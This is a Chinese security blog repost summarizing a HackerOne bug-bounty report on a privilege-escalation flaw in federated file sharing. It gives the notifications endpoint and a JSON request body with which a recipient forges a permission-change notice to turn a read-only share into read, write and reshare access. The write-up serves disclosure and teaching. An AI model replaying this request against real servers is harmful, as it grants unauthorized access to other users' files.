文章总结： 本文披露了联邦共享功能中的权限提升漏洞，接收方可构造包含SHARE_ID和TOKEN的特殊请求，将只读权限篡改为读写及分享权限，实现越权控制。文提供了具体POC利用过程，揭示了服务器端对权限变更通知校验不严的安全隐患。 综合评分： 82 文章分类： 漏洞分析,WEB安全,漏洞POC,SRC活动
提权-接收方可以提高联合共享权限
h1 h1
迪哥讲事
2026年1月30日 11:03 四川
正文
userA 在 serverX 上向 serverY 上的 userB 发起了一个联邦共享（默认权限是只读）。 userB 接受了这个共享。
随后，userB 向下面这个地址发送了一个请求：
https://SERVERY/apps/federatedfilesharing/notifications
并在请求内容中替换为自己在数据库中找到的 SHARE_TOKEN 和 SHARE_ID：
{
"notificationType": "RESHARE_CHANGE_PERMISSION",
"resourceType": "file",
"providerId": "SHARE_ID",
"notification": {
"sharedSecret": "SHARE_TOKEN",
"permission": ["read", "write", "share"]
}
}
~
结果： userB 现在获得了完全访问权限（可读、可写、可再分享）。
本来 userB 只被授予“只读”的联邦共享权限，但他通过伪造一条“权限变更通知”请求，把自己的权限从只读提升成了“可读 + 可写 + 可再分享”，从而实现了越权提权。
如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
往期回顾
#
如何利用ai辅助挖漏洞
#
如何在移动端抓包-下
#
如何绕过签名校验
#
一款bp神器
挖掘有回显ssrf的隐藏payload
ssrf绕过新思路
一个辅助测试ssrf的工具
dom-xss精选文章
年度精选文章
Nuclei权威指南-如何躺赚
漏洞赏金猎人系列-如何测试设置功能IV
漏洞赏金猎人系列-如何测试注册功能以及相关Tips
参考
https://hackerone.com/reports/1990443
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：迪哥讲事 h1 h1《提权-接收方可以提高联合共享权限》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论